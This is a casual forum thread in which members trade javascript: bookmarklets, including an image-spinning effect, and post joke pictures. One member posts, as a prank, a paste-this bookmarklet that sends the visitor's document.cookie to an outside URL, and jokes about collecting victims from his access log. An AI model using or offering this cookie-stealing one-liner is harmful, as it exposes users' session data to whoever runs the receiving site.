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OICW
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November 2003
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Evert: sadly I think, they are. So I'd better lock and load my gun, because partysans or US paratroopers can be here in any moment. Mm maybe even some swiss cheese with chocolate, mmmm... 8-)

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gnolam
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March 2002
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Hey, didn't you know? The Thirty Years' War was all about the oil, man.

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Dustin Dettmer
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October 2003
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The javascript code does nothing. Am I doing it wrong?

I go to google.com, after its loaded i paste
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.len
Into my Firefox address bar and hit enter

... am I missing something?

I even pasted the code into the javascript debugger console and got nothing. The code doesn't really make any sense anyway, all it does it set some variables...

Matthew Leverton
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January 1999
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Try this one in google:

javascript:location.href='http://www.allegro.cc/collect/'+document.cookie

LennyLen
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December 2004
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Quote:

... am I missing something?

Ah, yes. Most of the code.

You've gone from

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length;
function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5;
DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0);

to

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.len

Dustin Dettmer
Member #3,935
October 2003
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ML you are evil.

Cool collect script though

Since I couldnt get the other one to work I made my own. Works almost everywhere.

javascript:var d=document.getElementsByTagName("img");for(var i=0;i<d.length;i++){d<i>.src="http://tinyurl.com/yhzzcz";}hisotry.go(-1);

LennyLen
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December 2004
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Quote:

Since I couldnt get the other one to work I made my own. Works almost everywhere.

:D

HardTranceFan
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June 2006
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I get "error 404 file not found" when I try ML's line.

And nothing happens when I try the original one.

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Dustin Dettmer
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October 2003
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ML's line was a joke. Its supposed to be a trick to get your passwords and other sensitive information.

You don't actually have a collect script ML?

In other news...

Got the script to work. Cool effect but my god the one who wrote should never do game design.

Heres an updated version that updates at a realistic refresh rate and has a few other optimizations:

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length;function A(){for(i=0; i-DIL; i++)if(DI<i>.width>100){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5;DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',20); void(0);

Matthew Leverton
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January 1999
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Quote:

You don't actually have a collect script ML?

access_log! Only 18 people so far. Must ... collect ... more. 8-)

Samuel Henderson
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August 2003
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Quote:

access_log! Only 18 people so far. Must ... collect ... more.

I'll admit, I fell for it :)

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January 1999
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I know—I'm reading your e-mail.

Arthur Kalliokoski
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February 2005
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And here I went and tried pasting ML's script three times... Oh well, he can read my spam all he wants.

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Breakman79
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April 2001
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Here's a photo that I just saw today. It cracked me up.

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November 2002

{"name":"bush_turkey.jpg","src":"\/\/djungxnpq2nug.cloudfront.net\/image\/cache\/e\/6\/e6a58449bcb4643b7e7001c23d77b787.jpg","w":300,"h":235,"tn":"\/\/djungxnpq2nug.cloudfront.net\/image\/cache\/e\/6\/e6a58449bcb4643b7e7001c23d77b787"}bush_turkey.jpg

Arthur Kalliokoski
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February 2005
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The turkey has to do a "special favor" now to get pardoned?

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Sevalecan
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June 2004
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That aircraft does not look to scale.

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gnolam
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March 2002
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Polish Hind pilots with humor:
{"name":"1.jpg","src":"\/\/djungxnpq2nug.cloudfront.net\/image\/cache\/c\/e\/ceb75ca44dd388e13c02d86cf3feb044.jpg","w":640,"h":450,"tn":"\/\/djungxnpq2nug.cloudfront.net\/image\/cache\/c\/e\/ceb75ca44dd388e13c02d86cf3feb044"}1.jpg

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OICW
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November 2003
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Gnolam: ;D I know czech pilots have shark teeth on the nose.

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Arthur Kalliokoski
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February 2005
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“Throughout history, poverty is the normal condition of man. Advances which permit this norm to be exceeded — here and there, now and then — are the work of an extremely small minority, frequently despised, often condemned, and almost always opposed by all right-thinking people. Whenever this tiny minority is kept from creating, or (as sometimes happens) is driven out of a society, the people then slip back into abject poverty. This is known as "bad luck.”

― Robert A. Heinlein

Rampage
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December 2002
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Kent Larsson's image somehow made me think of Monica Lewinsky... :-[

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Johan Halmén
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September 2001

Except that hot chick != cold turkey.

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gnolam
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March 2002
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From the Daily WTF:
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;D

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FMC
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March 2004
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:P Ha! At first i didn't see the QUERY thing...

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